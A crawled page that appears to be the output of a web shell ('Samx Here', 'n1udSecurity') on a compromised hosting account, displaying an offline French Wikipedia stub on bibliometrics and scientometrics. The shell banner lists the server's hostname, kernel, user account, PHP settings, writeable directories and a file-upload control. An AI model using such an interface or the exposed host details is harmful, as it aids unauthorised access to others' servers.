Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/b/i/b/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/b/////i/b/Bibliométrie_et_scientométrie.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Bibliométrie et scientométrie - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Bibliométrie et scientométrie</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="plainlinks bandeau-niveau-ebauche bandeau">
<table style="background-color:transparent">
<tr>
<td class="bandeau-icone">
<div style="text-align:center;white-space:nowrap"><a href="../../../../articles/s/c/i/Image%7EScience-symbol-2.png_06bc.html" class="image" title="Science-symbol-2.png"><img alt="" src="../../../../images/shared/thumb/e/ea/Science-symbol-2.png/35px-Science-symbol-2.png" width="35" height="35" border="0" /></a></div>
</td>
<td>
<div class="bandeau-titre"><strong>Cet article est une <a href="../../../../articles/%C3%A9/b/a/Aide%7E%C3%89bauche_a94d.html" title="Aide:Ébauche">ébauche</a> concernant la <a href="../../../../articles/r/e/c/Recherche_scientifique.html" title="Recherche scientifique">recherche scientifique</a>.</strong></div>
<div class="bandeau-texte">Vous pouvez partager vos connaissances en l’améliorant. <b>(<a href="../../../../articles/c/o/m/Aide%7EComment_modifier_une_page_32be.html" title="Aide:Comment modifier une page">Comment ?</a>)</b>.</div>
</td>
</tr>
</table>
</div>
<p>La <b>bibliométrie</b> peut être définie comme "l'application des mathématiques et des méthodes <a href="../../../../articles/s/t/a/Statistique.html" title="Statistique">statistiques</a> aux livres, articles et autres moyens de communication" (Pritchard, 1969)&#160;: il s'agit de quantifier la communication d'un individu ou d'un groupe, non seulement en termes de volume, mais en termes de portée sur une population ciblée. La <b>scientométrie</b> est l'application de ces techniques au champ des études de la <a href="../../../../articles/s/c/i/Science.html" title="Science">science</a> et de la <a href="../../../../articles/t/e/c/Technologie.html" title="Technologie">technologie</a>, en comptabilisant les <a href="../../../../articles/p/u/b/Publication_scientifique.html" title="Publication scientifique">publications scientifiques</a>.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Histoire"><span class="tocnumber">1</span> <span class="toctext">Histoire</span></a></li>
<li class="toclevel-1"><a href="#Les_m.C3.A9thodes_bibliom.C3.A9triques"><span class="tocnumber">2</span> <span class="toctext">Les méthodes bibliométriques</span></a></li>
<li class="toclevel-1"><a href="#Utilisation_de_la_scientom.C3.A9trie"><span class="tocnumber">3</span> <span class="toctext">Utilisation de la scientométrie</span></a>
<ul>
<li class="toclevel-2"><a href="#D.C3.A9rives_:_.C2.AB_publier_ou_p.C3.A9rir_.C2.BB"><span class="tocnumber">3.1</span> <span class="toctext">Dérives&#160;: «&#160;publier ou périr&#160;»</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">4</span> <span class="toctext">Voir aussi</span></a></li>
<li class="toclevel-1"><a href="#Bibliographie"><span class="tocnumber">5</span> <span class="toctext">Bibliographie</span></a></li>
<li class="toclevel-1"><a href="#Lien_externe"><span class="tocnumber">6</span> <span class="toctext">Lien externe</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Histoire" id="Histoire"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html" title="Modifier la section&#160;: Histoire">modifier</a>]</span> <span class="mw-headline">Histoire</span></h2>
<p>C'est en 1958 qu'<a href="../../../../articles/e/u/g/Eugene_Garfield_a679.html" title="Eugene Garfield">Eugene Garfield</a> crée l'<a href="../../../../articles/i/n/s/Institute_for_Scientific_Information_b216.html" title="Institute for Scientific Information">Institute for Scientific Information</a> (ISI), avec le soutien de l'administration américaine de la recherche et celui de <a href="../../../../articles/s/o/c/Sociologie.html" title="Sociologie">sociologue</a> comme <a href="../../../../articles/m/e/r/Merton.html" title="Merton">Merton</a>. Le premier volume du Science Citation Index voit le jour en 1963.</p>
<p><a name="Les_m.C3.A9thodes_bibliom.C3.A9triques" id="Les_m.C3.A9thodes_bibliom.C3.A9triques"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html" title="Modifier la section&#160;: Les méthodes bibliométriques">modifier</a>]</span> <span class="mw-headline">Les méthodes bibliométriques</span></h2>
<p>Peuvent être pris en compte, le nombre de publications, l'<a href="../../../../articles/f/a/c/Facteur_d%27impact.html" title="Facteur d'impact">impact</a> de la revue (<a href="../../../../articles/r/e/v/Revue_scientifique.html" title="Revue scientifique">revue scientifique</a> par exemple) dans laquelle elles sont publiées (c'est-à-dire le nombre potentiel de citations d'un article qui y est publié) et le nombre effectif de publications ultérieures citant chacune.</p>
<p><a name="Utilisation_de_la_scientom.C3.A9trie" id="Utilisation_de_la_scientom.C3.A9trie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html" title="Modifier la section&#160;: Utilisation de la scientométrie">modifier</a>]</span> <span class="mw-headline">Utilisation de la scientométrie</span></h2>
<p>Elle est utilisée par les organismes finançant la <a href="../../../../articles/r/e/c/Recherche.html" class="mw-redirect" title="Recherche">recherche</a> comme outil d'<a href="../../../../articles/%C3%A9/v/a/%C3%89valuation_de_la_recherche.html" class="mw-redirect" title="Évaluation de la recherche">évaluation</a>. 3</p>
<p><a name="D.C3.A9rives_:_.C2.AB_publier_ou_p.C3.A9rir_.C2.BB" id="D.C3.A9rives_:_.C2.AB_publier_ou_p.C3.A9rir_.C2.BB"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html" title="Modifier la section&#160;: Dérives&#160;: «&#160;publier ou périr&#160;»">modifier</a>]</span> <span class="mw-headline">Dérives&#160;: «&#160;publier ou périr&#160;»</span></h3>
<p>La bibliométrie incite les chercheurs à publier plus, selon le principe <i>publish or perish</i>. Le danger est ici que les chercheurs se préoccupent plus d'étoffer leur palmarès de publications (qui détermine leur carrière&#160;: possibilités de promotion, mais aussi, dans certains cas, paye ou continuité de leur emploi) que de réaliser des travaux scientifiquement intéressants.</p>
<p>On constate alors diverses dérives dues au désir d'augmenter le nombre de publications, par exemple:</p>
<ul>
<li>le psittacisme&#160;: le chercheur publie la même idée dans plusieurs «&#160;papiers&#160;», profitant du fait que les évaluateurs des différentes publications n'ont pas lu leurs travaux précédents</li>
<li>le saucissonage (<i>salami effect</i>)&#160;: la même idée est découpée en plusieurs tranches, chacune publiée séparément.</li>
</ul>
<p>Notons l'extrême variabilité du nombre de publications chez les scientifiques réputés. Des scientifiques de premier plan comme <a href="../../../../articles/a/l/b/Albert_Einstein_8441.html" title="Albert Einstein">Albert Einstein</a> ou <a href="../../../../articles/l/o/u/Louis_de_Broglie_0c21.html" title="Louis de Broglie">Louis de Broglie</a> ont, dans l'ensemble, peu publié, mais certaines de leurs publications étaient de toute première importance et ont eu une influence considérable sur la science. À l'opposé, un autre scientifique de premier plan, <a href="../../../../articles/p/a/u/Paul_Erd%C3%B6s_eea3.html" class="mw-redirect" title="Paul Erdös">Paul Erdös</a>, a été très prolifique.</p>
<p>L'usage du «&#160;facteur d'impact&#160;» des journaux pour l'évaluation de la qualité des chercheurs est très sujet à caution. Ce facteur d'impact est censé mesurer l'importance d'un journal pour la communauté scientifique. Il est cependant faux de conclure qu'un «&#160;papier&#160;» dans un journal à fort facteur d'impact est forcément de meilleure qualité qu'un papier dans un journal à facteur d'impact plus faible, notamment parce que la politique éditoriale des journaux les plus connus (<i><a href="../../../../articles/s/c/i/Science_%28journal%29.html" class="mw-redirect" title="Science (journal)">Science</a></i>, <i><a href="../../../../articles/n/a/t/Nature_%28journal%29.html" title="Nature (journal)">Nature</a></i>) met en jeu des critères extra-scientifiques, comme le côté «&#160;sensationnel&#160;» d'une publication.</p>
<p>Enfin, l'usage du nombre de citations favorise les publications «&#160;dans l'air du temps&#160;». Une publication sur un sujet original mais qui ne serait pas «&#160;à la mode&#160;» est défavorisée. Il arrive que des idées de premier plan soient ignorées au moment où elles sont publiées, et sont redécouvertes ensuite. L'impact réel de la publication n'est alors sensible qu'à une échelle de temps supérieure à celle utilisée pour les calculs des divers facteurs d'impact. Pour ces raisons, certains considèrent que la bibliométrie ne doit être utilisée que pour évaluer des chercheurs déjà bien installés, ayant une certaine carrière derrière eux.</p>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<ul>
<li><a href="../../../../articles/l/o/i/Loi_de_Bradford_9b4f.html" title="Loi de Bradford">loi de Bradford</a></li>
</ul>
<p><a name="Bibliographie" id="Bibliographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html" title="Modifier la section&#160;: Bibliographie">modifier</a>]</span> <span class="mw-headline">Bibliographie</span></h2>
<ul>
<li>Godin B., <i><a href="http://www.csiic.ca/PDF/Godin_26_f.pdf#search=%22godin%20bibliom%C3%A9trie%22" class="external text" title="http://www.csiic.ca/PDF/Godin_26_f.pdf#search=%22godin%20bibliom%C3%A9trie%22" rel="nofollow">Pour une sociologie de la statistique sur la science et l'innovation</a></i>, Canadian Science and Innovation Indicators Consortium (CSIIC), Working Paper n°26, 2004.</li>
<li>Godin B., <i>La science sous observation&#160;: cent ans de mesure sur les scientifiques, 1906-2006</i>, Presses de l’Université Laval, 2005.</li>
<li>Godin B., <i>Measurement and Statistics on Science and Technology: 1920 to the Present</i>, Routledge, 2005</li>
<li>Godin B., <i><a href="http://www.csiic.ca/PDF/Godin_33.pdf#search=%22%22On%20the%20Origins%20of%20Bibliometrics%22%22" class="external text" title="http://www.csiic.ca/PDF/Godin_33.pdf#search=%22%22On%20the%20Origins%20of%20Bibliometrics%22%22" rel="nofollow">On the Origins of Bibliometrics, Project on the History and Sociology of S&amp;T Statistics</a></i>, Canadian Science and Innovation Indicators Consortium (CSIIC), Working Paper n° 33, 2006.</li>
<li>Okubo, Y. (1997), <i><a href="http://ideas.repec.org/p/oec/stiaaa/1997-1-fr.html" class="external text" title="http://ideas.repec.org/p/oec/stiaaa/1997-1-fr.html" rel="nofollow">Indicateurs bibliométriques et analyse des systèmes de recherche&#160;: Méthodes et exemples</a></i>, Documents de travail sur la science, la technologie et l'industrie, 1997/1, Éditions OCDE. doi:10.1787/233811774611</li>
<li>Pritchard A., "Statistical Bibliography or Bibliometrics", Journal of Documentation, 25, 4, pp. 348-349, 1969</li>
</ul>
<p><a name="Lien_externe" id="Lien_externe"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html" title="Modifier la section&#160;: Lien externe">modifier</a>]</span> <span class="mw-headline">Lien externe</span></h2>
<ul>
<li><a href="http://biblio-fr.info.unicaen.fr/bnum/jelec/Solaris/d02/2polanco1.html" class="external text" title="http://biblio-fr.info.unicaen.fr/bnum/jelec/Solaris/d02/2polanco1.html" rel="nofollow">Aux sources de la scientométrie</a></li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/n/u/v/Image%7ENuvola_apps_bookcase.svg_7da6.html" class="image" title="Icône du portail des sciences de l’information et des bibliothèques"><img alt="Icône du portail des sciences de l’information et des bibliothèques" src="../../../../images/shared/thumb/a/a5/Nuvola_apps_bookcase.svg/24px-Nuvola_apps_bookcase.svg.png" width="24" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/s/c/i/Portail%7ESciences_de_l%27information_et_des_biblioth%C3%A8ques_c1d1.html" title="Portail:Sciences de l'information et des bibliothèques">Portail des sciences de l’information et des bibliothèques</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/s/o/c/Image%7ESociologielogo.png_8b83.html" class="image" title="Icône du portail de la sociologie"><img alt="Icône du portail de la sociologie" src="../../../../images/shared/thumb/9/9c/Sociologielogo.png/21px-Sociologielogo.png" width="21" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/s/o/c/Portail%7ESociologie_1e26.html" title="Portail:Sociologie">Portail de la sociologie</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 392/1000000
Post-expand include size: 4947/2048000 bytes
Template argument size: 1065/2048000 bytes
Expensive parser function count: 2/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/w/i/k/Cat%C3%A9gorie%7EWikip%C3%A9dia%7E%C3%A9bauche_recherche_7409.html" title="Catégorie:Wikipédia:ébauche recherche">Wikipédia:ébauche recherche</a></span> | <span dir='ltr'><a href="../../../../articles/s/c/i/Cat%C3%A9gorie%7EScientom%C3%A9trie_9b57.html" title="Catégorie:Scientométrie">Scientométrie</a></span> | <span dir='ltr'><a href="../../../../articles/m/%C3%A9/t/Cat%C3%A9gorie%7EM%C3%A9thode_d%27analyse_403b.html" title="Catégorie:Méthode d'analyse">Méthode d'analyse</a></span> | <span dir='ltr'><a href="../../../../articles/s/o/c/Cat%C3%A9gorie%7ESociologie_de_la_connaissance_c41e.html" title="Catégorie:Sociologie de la connaissance">Sociologie de la connaissance</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/b/i/b/Bibliom%C3%A9trie_et_scientom%C3%A9trie.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/b/i/b/Discuter%7EBibliom%C3%A9trie_et_scientom%C3%A9trie_bcda.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Bibliom%C3%A9trie_et_scientom%C3%A9trie">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 3 avril 2008 à 11:50 par Utilisateur <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>. Basé sur le travail de Utilisateur(s) FabienGomez, <a href="../../../../articles/l/o/v/Utilisateur%7ELoveless_6fc1.html" title="Utilisateur:Loveless">Loveless</a>, <a href="../../../../articles/d/a/v/Utilisateur%7EDavid_benoist_916e.html" title="Utilisateur:David benoist">David benoist</a>, <a href="../../../../articles/d/u/c/Utilisateur%7EDucloy_b7f5.html" title="Utilisateur:Ducloy">Ducloy</a>, <a href="../../../../articles/z/x/8/Utilisateur%7EZX81-bot_0db4.html" title="Utilisateur:ZX81-bot">ZX81-bot</a>, <a href="../../../../articles/d/a/v/Utilisateur%7EDavid.Monniaux_4b4e.html" title="Utilisateur:David.Monniaux">David.Monniaux</a>, <a href="../../../../articles/l/i/b/Utilisateur%7ELibellule_Bleue_346e.html" title="Utilisateur:Libellule Bleue">Libellule Bleue</a>, <a href="../../../../articles/e/k/t/Utilisateur%7EEktoplastor_c618.html" title="Utilisateur:Ektoplastor">Ektoplastor</a>, <a href="../../../../articles/e/l/_/Utilisateur%7EEL_0eb0.html" title="Utilisateur:EL">EL</a>, <a href="../../../../articles/p/a/n/Utilisateur%7EPantoine_aa47.html" title="Utilisateur:Pantoine">Pantoine</a> et <a href="../../../../articles/j/o/s/Utilisateur%7EJosce_a5fb.html" title="Utilisateur:Josce">Josce</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX